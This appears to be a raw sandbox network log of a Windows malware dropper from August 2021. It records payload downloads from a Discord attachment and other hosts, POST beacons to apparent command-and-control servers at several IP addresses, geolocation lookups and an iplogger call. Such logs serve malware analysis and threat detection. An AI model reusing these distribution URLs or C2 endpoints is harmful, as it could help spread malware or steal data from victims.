X-GUploader-UploadID: ADPycdtvLYZ7WKXNNHbMEMdsQ7iWOj5uJKQETsbtCugzO4NRUY9IoP61VXZ0wMJG75dTVo93WNZq40AylfQ9qH4vywJV9iA0_A
X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Fl5jVNkWEf3O92iwcoUh54c%2BlNRcy3iN2AeN6jITd%2BbChgk4PbwmL2KAHRqbhLa0b%2F8T46HJgAcBPdZN%2BpRBXitN7%2Bz0DcGxbjRKDkRSgwY150RGwFkP0dCD5KzVavBvKMvw0w%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
GET

https://cdn.discordapp.com/attachments/882022347924713518/882206370080911370/Setup12.exe

Remote address:

162.159.129.233:443

Request

GET /attachments/882022347924713518/882206370080911370/Setup12.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Host: cdn.discordapp.com
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Date: Tue, 31 Aug 2021 19:54:09 GMT
Content-Type: application/x-msdos-program
Content-Length: 1818985
Connection: keep-alive
CF-Ray: 6878cf1fcfcbd911-AMS
Accept-Ranges: bytes
Age: 26759
Cache-Control: public, max-age=31536000
Content-Disposition: attachment;%20filename=Setup12.exe
ETag: "e0ef2cfe575206c8a60ddba16c3be2f5"
Expires: Wed, 31 Aug 2022 19:54:09 GMT
Last-Modified: Tue, 31 Aug 2021 10:13:09 GMT
Vary: Accept-Encoding
CF-Cache-Status: HIT
Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
x-goog-generation: 1630404789298588
x-goog-hash: crc32c=5DMpKQ==
x-goog-hash: md5=4O8s/ldSBsimDduhbDvi9Q==
x-goog-metageneration: 1
x-goog-storage-class: STANDARD
x-goog-stored-content-encoding: identity
x-goog-stored-content-length: 1818985
X-GUploader-UploadID: ADPycdvylbokiZKFf2X43y_S7cU8u0lO88lV_p3NcYjDrW0d_Nb5zTDW43-hM57uFr9eRZs9Am3nyt54UdT1-CYFM2qNizU8cQ
X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=S1cp2oFBINS22MfNjEdPZoIpJJwX7FRPZa%2Bx%2FM2svi8yA4w7a7ION7ltBixg3eIkte6ZUmJU%2F2zCrrCFUc%2Bb%2FZSpkfUvLjLL4Eyj5JuDhxzRYemg4v8fCA3rxWrUkOw2NhUXCw%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
DNS

bb.goatgameb.com

Remote address:

8.8.8.8:53

Request

bb.goatgameb.com

IN A

Response

bb.goatgameb.com

IN A

172.67.146.7

bb.goatgameb.com

IN A

104.21.28.120
GET

https://bb.goatgameb.com/userdow/2201/8ced8ed27ddcfcebf67a63d2aadc075e.exe

Remote address:

172.67.146.7:443

Request

GET /userdow/2201/8ced8ed27ddcfcebf67a63d2aadc075e.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Connection: Keep-Alive
Cache-Control: no-cache
Host: bb.goatgameb.com

Response

HTTP/1.1 200 OK

Date: Tue, 31 Aug 2021 19:54:09 GMT
Content-Type: application/octet-stream
Transfer-Encoding: chunked
Connection: keep-alive
content-disposition: attachment; filename="lm-game.exe"
content-transfer-encoding: binary
vary: Accept-Encoding
Cache-Control: max-age=14400
CF-Cache-Status: HIT
Age: 6815
Last-Modified: Tue, 31 Aug 2021 18:00:34 GMT
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=S12b32CGY6MG7v9UX%2F3FApUP0EFQKdECTCrBjz5tMNj2XOepft4iix%2FRshmLCwihBC1rumfFCJhdRBsKTCo1gOYIEkpom7qS0PGuPaUkepdjojUg9chfD7XSZKLt54NCj6i0"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 6878cf1fcc00426c-AMS
alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
DNS

crl3.digicert.com

Remote address:

8.8.8.8:53

Request

crl3.digicert.com

IN A

Response

crl3.digicert.com

IN CNAME

cs9.wac.phicdn.net

cs9.wac.phicdn.net

IN A

93.184.220.29
GET

http://crl3.digicert.com/Omniroot2025.crl

Remote address:

93.184.220.29:80

Request

GET /Omniroot2025.crl HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: crl3.digicert.com

Response

HTTP/1.1 200 OK

Accept-Ranges: bytes
Age: 1374
Cache-Control: max-age=10800
Content-Type: application/pkix-crl
Date: Tue, 31 Aug 2021 19:54:01 GMT
Etag: "480964488"
Expires: Tue, 31 Aug 2021 22:54:01 GMT
Last-Modified: Tue, 24 Aug 2021 20:32:38 GMT
Server: ECS (amb/6BBA)
X-Cache: HIT
Content-Length: 7869
GET

http://crl3.digicert.com/DigiCertBaltimoreCA-2G2.crl

Remote address:

93.184.220.29:80

Request

GET /DigiCertBaltimoreCA-2G2.crl HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: crl3.digicert.com

Response

HTTP/1.1 200 OK

Accept-Ranges: bytes
Age: 1386
Cache-Control: max-age=10800
Content-Type: application/pkix-crl
Date: Tue, 31 Aug 2021 19:54:15 GMT
Etag: "1024006095"
Expires: Tue, 31 Aug 2021 22:54:15 GMT
Last-Modified: Mon, 30 Aug 2021 21:15:03 GMT
Server: ECS (amb/6BA8)
X-Cache: HIT
Content-Length: 155940
DNS

telegram.org

bhQhrafoFEtidIZblKt90bck.exe

Remote address:

8.8.8.8:53

Request

telegram.org

IN A

Response

telegram.org

IN A

149.154.167.99
DNS

twitter.com

bhQhrafoFEtidIZblKt90bck.exe

Remote address:

8.8.8.8:53

Request

twitter.com

IN A

Response

twitter.com

IN A

104.244.42.129

twitter.com

IN A

104.244.42.193
DNS

yandex.ru

bhQhrafoFEtidIZblKt90bck.exe

Remote address:

8.8.8.8:53

Request

yandex.ru

IN A

Response

yandex.ru

IN A

77.88.55.50

yandex.ru

IN A

5.255.255.88

yandex.ru

IN A

5.255.255.5

yandex.ru

IN A

77.88.55.88
GET

https://yandex.ru/

bhQhrafoFEtidIZblKt90bck.exe

Remote address:

77.88.55.50:443

Request

GET / HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Host: yandex.ru

Response

HTTP/1.1 302 Moved temporarily

Location: https://yandex.ru/showcaptcha?cc=1&retpath=https%3A//yandex.ru/%3F_bfaaf8b9810b4b3f829e12d90e2f1f5e&t=2/1630439659/25ef1a42a79e0860100ae049466f085e&u=21fa1090-b9a8ed8b-e3127bc-baf725bc&s=f7ec6b963a1ea267e203e5d0bc28ec23
NEL: {"report_to": "network-errors", "max_age": 86400, "success_fraction": 0.001, "failure_fraction": 0.1}
Report-To: { "group": "network-errors", "max_age": 86400, "endpoints": [ { "url": "https://dr.yandex.net/nel"}]}
Set-Cookie: spravka=dD0xNTk4OTAzNjU5O2k9MTU0LjYxLjcxLjUxO0Q9QTU3RjlBRjA3RkY0M0UxN0FDOThEMUJCNTMxRERGN0ZCMkNGRDVDMENFQ0E0RTVGQTMyODMxQURCRUNBMkI0Qzt1PTE1OTg5MDM2NTkwODUwMjIwNDM7aD1kYzZkNmM3NWUzMGEzMDEyYzYwNDk5MTg3YjViMzdmYQ==; domain=.yandex.ru; path=/; expires=Thu, 30-Sep-2021 19:54:19 GMT
Set-Cookie: i=8QLeWB9g8VuxVD+YjytBBf3idH7XsNF21exNvhheX7PenhSA5eBWxLZ6zuaZJhr1dM+J2Tjh1j6DKGPezZ7Sx8ESryo=; Expires=Thu, 31-Aug-2023 19:54:19 GMT; Domain=.yandex.ru; Path=/; Secure; HttpOnly
Transfer-Encoding: chunked
X-Antirobot-Hodor: be-cu-cC-cD-aF
X-Antirobot-Hodor-Hash: 8265457702176117987
X-Content-Type-Options: nosniff
GET

https://yandex.ru/showcaptcha?cc=1&retpath=https%3A//yandex.ru/%3F_bfaaf8b9810b4b3f829e12d90e2f1f5e&t=2/1630439659/25ef1a42a79e0860100ae049466f085e&u=21fa1090-b9a8ed8b-e3127bc-baf725bc&s=f7ec6b963a1ea267e203e5d0bc28ec23

bhQhrafoFEtidIZblKt90bck.exe

Remote address:

77.88.55.50:443

Request

GET /showcaptcha?cc=1&retpath=https%3A//yandex.ru/%3F_bfaaf8b9810b4b3f829e12d90e2f1f5e&t=2/1630439659/25ef1a42a79e0860100ae049466f085e&u=21fa1090-b9a8ed8b-e3127bc-baf725bc&s=f7ec6b963a1ea267e203e5d0bc28ec23 HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Host: yandex.ru
Cookie: i=8QLeWB9g8VuxVD+YjytBBf3idH7XsNF21exNvhheX7PenhSA5eBWxLZ6zuaZJhr1dM+J2Tjh1j6DKGPezZ7Sx8ESryo=; spravka=dD0xNTk4OTAzNjU5O2k9MTU0LjYxLjcxLjUxO0Q9QTU3RjlBRjA3RkY0M0UxN0FDOThEMUJCNTMxRERGN0ZCMkNGRDVDMENFQ0E0RTVGQTMyODMxQURCRUNBMkI0Qzt1PTE1OTg5MDM2NTkwODUwMjIwNDM7aD1kYzZkNmM3NWUzMGEzMDEyYzYwNDk5MTg3YjViMzdmYQ==

Response

HTTP/1.1 200 Ok

Content-Length: 6882
Content-Type: text/html
NEL: {"report_to": "network-errors", "max_age": 86400, "success_fraction": 0.001, "failure_fraction": 0.1}
Report-To: { "group": "network-errors", "max_age": 86400, "endpoints": [ { "url": "https://dr.yandex.net/nel"}]}
X-Antirobot-Hodor: aJ-be-cu-cC-aF
X-Antirobot-Hodor-Hash: 5982392846404738139
X-Content-Type-Options: nosniff
DNS

crl4.digicert.com

Remote address:

8.8.8.8:53

Request

crl4.digicert.com

IN A

Response

crl4.digicert.com

IN CNAME

cs9.wac.phicdn.net

cs9.wac.phicdn.net

IN A

93.184.220.29
GET

http://crl4.digicert.com/DigiCertBaltimoreCA-2G2.crl

Remote address:

93.184.220.29:80

Request

GET /DigiCertBaltimoreCA-2G2.crl HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: crl4.digicert.com

Response

HTTP/1.1 200 OK

Accept-Ranges: bytes
Age: 1386
Cache-Control: max-age=10800
Content-Type: application/pkix-crl
Date: Tue, 31 Aug 2021 19:54:15 GMT
Etag: "1024006095"
Expires: Tue, 31 Aug 2021 22:54:15 GMT
Last-Modified: Mon, 30 Aug 2021 21:15:03 GMT
Server: ECS (amb/6BA8)
X-Cache: HIT
Content-Length: 155940
DNS

cleaner-partners.biz

ci1LkzGjtk1ql_cPHyoRvCsR.exe

Remote address:

8.8.8.8:53

Request

cleaner-partners.biz

IN A

Response

cleaner-partners.biz

IN A

88.119.171.126
DNS

repository.certum.pl

bhQhrafoFEtidIZblKt90bck.exe

Remote address:

8.8.8.8:53

Request

repository.certum.pl

IN A

Response

repository.certum.pl

IN CNAME

repository.akamai.certum.pl

repository.akamai.certum.pl

IN CNAME

repository.certum.pl.edgekey.net

repository.certum.pl.edgekey.net

IN CNAME

e99038.dscb.akamaiedge.net

e99038.dscb.akamaiedge.net

IN A

104.110.191.14

e99038.dscb.akamaiedge.net

IN A

104.110.191.15
GET

http://repository.certum.pl/ca.cer

bhQhrafoFEtidIZblKt90bck.exe

Remote address:

104.110.191.14:80

Request

GET /ca.cer HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: repository.certum.pl

Response

HTTP/1.1 200 OK

Content-Type: application/pkix-cert
Content-Length: 784
Last-Modified: Fri, 06 Mar 2020 09:54:01 GMT
Accept-Ranges: bytes
Cache-Control: public, max-age=900
Date: Tue, 31 Aug 2021 19:54:16 GMT
Connection: keep-alive
DNS

www.microsoft.com

bhQhrafoFEtidIZblKt90bck.exe

Remote address:

8.8.8.8:53

Request

www.microsoft.com

IN A

Response

www.microsoft.com

IN CNAME

www.microsoft.com-c-3.edgekey.net

www.microsoft.com-c-3.edgekey.net

IN CNAME

www.microsoft.com-c-3.edgekey.net.globalredir.akadns.net

www.microsoft.com-c-3.edgekey.net.globalredir.akadns.net

IN CNAME

e13678.dscb.akamaiedge.net

e13678.dscb.akamaiedge.net

IN A

104.85.5.163
GET

http://194.145.227.161/dlc/sharing.php?pub=mixinte

7UnzbMxhtYZuzAplsGhUciSw.exe

Remote address:

194.145.227.161:80

Request

GET /dlc/sharing.php?pub=mixinte HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
User-Agent: 17-S7-Du-hC-0-J
Host: 194.145.227.161
Connection: Keep-Alive
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Server: nginx/1.20.1
Date: Tue, 31 Aug 2021 19:54:19 GMT
Content-Type: application/octet-stream
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.16
Content-Description: File Transfer
Content-Disposition: attachment; filename=null
Content-Transfer-Encoding: binary
GET

http://194.145.227.161/dlc/sharing.php?pub=mixinte

7UnzbMxhtYZuzAplsGhUciSw.exe

Remote address:

194.145.227.161:80

Request

GET /dlc/sharing.php?pub=mixinte HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
User-Agent: 17-S7-Du-hC-0-J
Host: 194.145.227.161
Connection: Keep-Alive
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Server: nginx/1.20.1
Date: Tue, 31 Aug 2021 19:54:21 GMT
Content-Type: application/octet-stream
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.16
Content-Description: File Transfer
Content-Disposition: attachment; filename=null
Content-Transfer-Encoding: binary
GET

http://194.145.227.161/dlc/sharing.php?pub=mixinte

7UnzbMxhtYZuzAplsGhUciSw.exe

Remote address:

194.145.227.161:80

Request

GET /dlc/sharing.php?pub=mixinte HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
User-Agent: D3
Host: 194.145.227.161
Connection: Keep-Alive
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Server: nginx/1.20.1
Date: Tue, 31 Aug 2021 19:54:36 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.16
GET

http://194.145.227.161/dlc/sharing.php?pub=mixinte

7UnzbMxhtYZuzAplsGhUciSw.exe

Remote address:

194.145.227.161:80

Request

GET /dlc/sharing.php?pub=mixinte HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
User-Agent: D4
Host: 194.145.227.161
Connection: Keep-Alive
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Server: nginx/1.20.1
Date: Tue, 31 Aug 2021 19:54:40 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.16
GET

http://37.0.10.214/proxies.txt

bhQhrafoFEtidIZblKt90bck.exe

Remote address:

37.0.10.214:80

Request

GET /proxies.txt HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Host: 37.0.10.214

Response

HTTP/1.1 200 OK

Date: Tue, 31 Aug 2021 19:54:19 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Fri, 20 Aug 2021 05:04:06 GMT
ETag: "9cc-5c9f698d5202b"
Accept-Ranges: bytes
Content-Length: 2508
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/plain
POST

http://37.0.10.237/service/communication.php

bhQhrafoFEtidIZblKt90bck.exe

Remote address:

37.0.10.237:80

Request

POST /service/communication.php HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Content-Length: 21
Host: 37.0.10.237

Response

HTTP/1.1 200 OK

Date: Tue, 31 Aug 2021 19:54:19 GMT
Server: Apache/2.4.47 (Win64) OpenSSL/1.1.1k PHP/7.3.28
X-Powered-By: PHP/7.3.28
Content-Length: 3
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
POST

http://37.0.10.237/service/communication.php

bhQhrafoFEtidIZblKt90bck.exe

Remote address:

37.0.10.237:80

Request

POST /service/communication.php HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Content-Length: 73
Host: 37.0.10.237

Response

HTTP/1.1 200 OK

Date: Tue, 31 Aug 2021 19:54:20 GMT
Server: Apache/2.4.47 (Win64) OpenSSL/1.1.1k PHP/7.3.28
X-Powered-By: PHP/7.3.28
Content-Length: 5
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
DNS

telete.in

r9XwKd07yrWZUcC3fYTW1vvm.exe

Remote address:

8.8.8.8:53

Request

telete.in

IN A

Response

telete.in

IN A

195.201.225.248
GET

http://ip-api.com/json/

cutm3.exe

Remote address:

208.95.112.1:80

Request

GET /json/ HTTP/1.1
Connection: Keep-Alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: en,q=0.9;q=0.8,ja;q=0.7,af;q=0.6,am;q=0.5,sq;q=0.4,ar;q=0.3,an;q=0.2,hy;q=0.1,ast;q=0.1,az;q=0.1,bn;q=0.1,eu;q=0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.60
viewport-width: 1920
Host: ip-api.com

Response

HTTP/1.1 200 OK

Date: Tue, 31 Aug 2021 19:54:19 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 323
Access-Control-Allow-Origin: *
X-Ttl: 0
X-Rl: 20
GET

https://telete.in/bimboDinotrex

r9XwKd07yrWZUcC3fYTW1vvm.exe

Remote address:

195.201.225.248:443

Request

GET /bimboDinotrex HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: text/plain; charset=UTF-8
Host: telete.in

Response

HTTP/1.1 200 OK

Server: nginx/1.10.3 (Ubuntu)
Date: Tue, 31 Aug 2021 19:54:20 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: stel_ssid=a35e410794b2214a4c_2480492730573656275; expires=Wed, 01 Sep 2021 19:54:20 GMT; path=/; samesite=None; secure; HttpOnly
Pragma: no-cache
Cache-control: no-store
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=35768000
GET

https://ipinfo.io/widget

bhQhrafoFEtidIZblKt90bck.exe

Remote address:

34.117.59.81:443

Request

GET /widget HTTP/1.1
Connection: Keep-Alive
Referer: https://ipinfo.io/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Host: ipinfo.io

Response

HTTP/1.1 200 OK

access-control-allow-origin: *
x-frame-options: DENY
x-xss-protection: 1; mode=block
x-content-type-options: nosniff
referrer-policy: strict-origin-when-cross-origin
content-type: application/json; charset=utf-8
content-length: 873
date: Tue, 31 Aug 2021 19:54:20 GMT
x-envoy-upstream-service-time: 33
vary: Accept-Encoding
Via: 1.1 google
Alt-Svc: clear
POST

http://5.181.156.120/

r9XwKd07yrWZUcC3fYTW1vvm.exe

Remote address:

5.181.156.120:80

Request

POST / HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: text/plain; charset=UTF-8
Content-Length: 128
Host: 5.181.156.120

Response

HTTP/1.1 200 OK

Server: nginx
Date: Tue, 31 Aug 2021 19:54:20 GMT
Content-Type: text/plain;charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Access-Control-Allow-Headers: *
Access-Control-Allow-Origin: *
GET

http://5.181.156.120//l/f/HBOrnXsBPvGyIjkLY5XL/efdbd4f95bc407db0a91b2a6a10fea42e643c176

r9XwKd07yrWZUcC3fYTW1vvm.exe

Remote address:

5.181.156.120:80

Request

GET //l/f/HBOrnXsBPvGyIjkLY5XL/efdbd4f95bc407db0a91b2a6a10fea42e643c176 HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Host: 5.181.156.120

Response

HTTP/1.1 200 OK

Server: nginx
Date: Tue, 31 Aug 2021 19:54:21 GMT
Content-Type: application/octet-stream
Content-Length: 916735
Connection: keep-alive
Last-Modified: Sat, 10 Jul 2021 15:08:06 GMT
ETag: "60e9b7d6-dfcff"
Accept-Ranges: bytes
GET

http://5.181.156.120//l/f/HBOrnXsBPvGyIjkLY5XL/0d4d8f34a8c182f3563f7c6d1bf6694ca2ec9f62

r9XwKd07yrWZUcC3fYTW1vvm.exe

Remote address:

5.181.156.120:80

Request

GET //l/f/HBOrnXsBPvGyIjkLY5XL/0d4d8f34a8c182f3563f7c6d1bf6694ca2ec9f62 HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Host: 5.181.156.120

Response

HTTP/1.1 404 Not Found

Server: nginx
Date: Tue, 31 Aug 2021 19:54:39 GMT
Content-Type: text/html
Content-Length: 146
Connection: keep-alive
GET

http://5.181.156.120//l/f/HBOrnXsBPvGyIjkLY5XL/0d4d8f34a8c182f3563f7c6d1bf6694ca2ec9f62

r9XwKd07yrWZUcC3fYTW1vvm.exe

Remote address:

5.181.156.120:80

Request

GET //l/f/HBOrnXsBPvGyIjkLY5XL/0d4d8f34a8c182f3563f7c6d1bf6694ca2ec9f62 HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Host: 5.181.156.120

Response

HTTP/1.1 404 Not Found

Server: nginx
Date: Tue, 31 Aug 2021 19:54:40 GMT
Content-Type: text/html
Content-Length: 146
Connection: keep-alive
GET

http://5.181.156.120//l/f/HBOrnXsBPvGyIjkLY5XL/0d4d8f34a8c182f3563f7c6d1bf6694ca2ec9f62

r9XwKd07yrWZUcC3fYTW1vvm.exe

Remote address:

5.181.156.120:80

Request

GET //l/f/HBOrnXsBPvGyIjkLY5XL/0d4d8f34a8c182f3563f7c6d1bf6694ca2ec9f62 HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Host: 5.181.156.120

Response

HTTP/1.1 404 Not Found

Server: nginx
Date: Tue, 31 Aug 2021 19:54:40 GMT
Content-Type: text/html
Content-Length: 146
Connection: keep-alive
GET

http://5.181.156.120//l/f/HBOrnXsBPvGyIjkLY5XL/0d4d8f34a8c182f3563f7c6d1bf6694ca2ec9f62

r9XwKd07yrWZUcC3fYTW1vvm.exe

Remote address:

5.181.156.120:80

Request

GET //l/f/HBOrnXsBPvGyIjkLY5XL/0d4d8f34a8c182f3563f7c6d1bf6694ca2ec9f62 HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Host: 5.181.156.120

Response

HTTP/1.1 404 Not Found

Server: nginx
Date: Tue, 31 Aug 2021 19:54:41 GMT
Content-Type: text/html
Content-Length: 146
Connection: keep-alive
GET

http://5.181.156.120//l/f/HBOrnXsBPvGyIjkLY5XL/0d4d8f34a8c182f3563f7c6d1bf6694ca2ec9f62

r9XwKd07yrWZUcC3fYTW1vvm.exe

Remote address:

5.181.156.120:80

Request

GET //l/f/HBOrnXsBPvGyIjkLY5XL/0d4d8f34a8c182f3563f7c6d1bf6694ca2ec9f62 HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Host: 5.181.156.120

Response

HTTP/1.1 404 Not Found

Server: nginx
Date: Tue, 31 Aug 2021 19:54:41 GMT
Content-Type: text/html
Content-Length: 146
Connection: keep-alive
POST

http://5.181.156.120/

r9XwKd07yrWZUcC3fYTW1vvm.exe

Remote address:

5.181.156.120:80

Request

POST / HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: multipart/form-data, boundary=vD2tL1qC9bC3zV9eD9yX8dU8yY8lC1cV
Content-Length: 863
Host: 5.181.156.120

Response

HTTP/1.1 200 OK

Server: nginx
Date: Tue, 31 Aug 2021 19:54:49 GMT
Content-Type: text/plain;charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Access-Control-Allow-Headers: *
Access-Control-Allow-Origin: *
DNS

one-wedding-film.xyz

BId45dG6Le0J4u06BXMdwhCR.exe

Remote address:

8.8.8.8:53

Request

one-wedding-film.xyz

IN A

Response
GET

http://186.2.171.3/seemorebty/il.php?e=md8_8eus

md8_8eus.exe

Remote address:

186.2.171.3:80

Request

GET /seemorebty/il.php?e=md8_8eus HTTP/1.1
Connection: Keep-Alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3
Accept-Language: en-US,en;q=0.9
Referer: https://www.facebook.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36
Host: 186.2.171.3

Response

HTTP/1.1 200 OK

Server: ddos-guard
Connection: keep-alive
Keep-Alive: timeout=60
Set-Cookie: __ddg1=ulP1hEL0zDeo4m5hZEiJ; Domain=.171.3; HttpOnly; Path=/; Expires=Wed, 31-Aug-2022 19:54:24 GMT
Date: Tue, 31 Aug 2021 19:54:08 GMT
Upgrade: h2
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
DNS

iplogger.org

md8_8eus.exe

Remote address:

8.8.8.8:53

Request

iplogger.org

IN A

Response

iplogger.org

IN A

88.99.66.31
GET

https://iplogger.org/ZhiS4

md8_8eus.exe

Remote address:

88.99.66.31:443

Request

GET /ZhiS4 HTTP/1.1
Connection: Keep-Alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3
Accept-Language: en-US,en;q=0.9
Referer: https://www.facebook.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36
Host: iplogger.org

Response

HTTP/1.1 200 OK

Server: nginx
Date: Tue, 31 Aug 2021 19:54:31 GMT
Content-Type: image/png
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: PHPSESSID=pl5nr7va0ofkfd70uuvjq3o1h5; path=/; HttpOnly
Pragma: no-cache
Set-Cookie: clhf03028ja=154.61.71.51; expires=Wed, 18-Jul-2029 05:49:51 GMT; Max-Age=248608520; path=/
Set-Cookie: timezone=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: timezone=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:01 GMT
Answers:
whoami: 5f6f374a2d0823068d51889a32317054977c188115fe1c6b1b8e036330756be6
Strict-Transport-Security: max-age=31536000; preload
X-Frame-Options: DENY
DNS

kipriauka.tumblr.com

Remote address:

8.8.8.8:53

Request

kipriauka.tumblr.com

IN A

Response

kipriauka.tumblr.com

IN A

74.114.154.22

kipriauka.tumblr.com

IN A

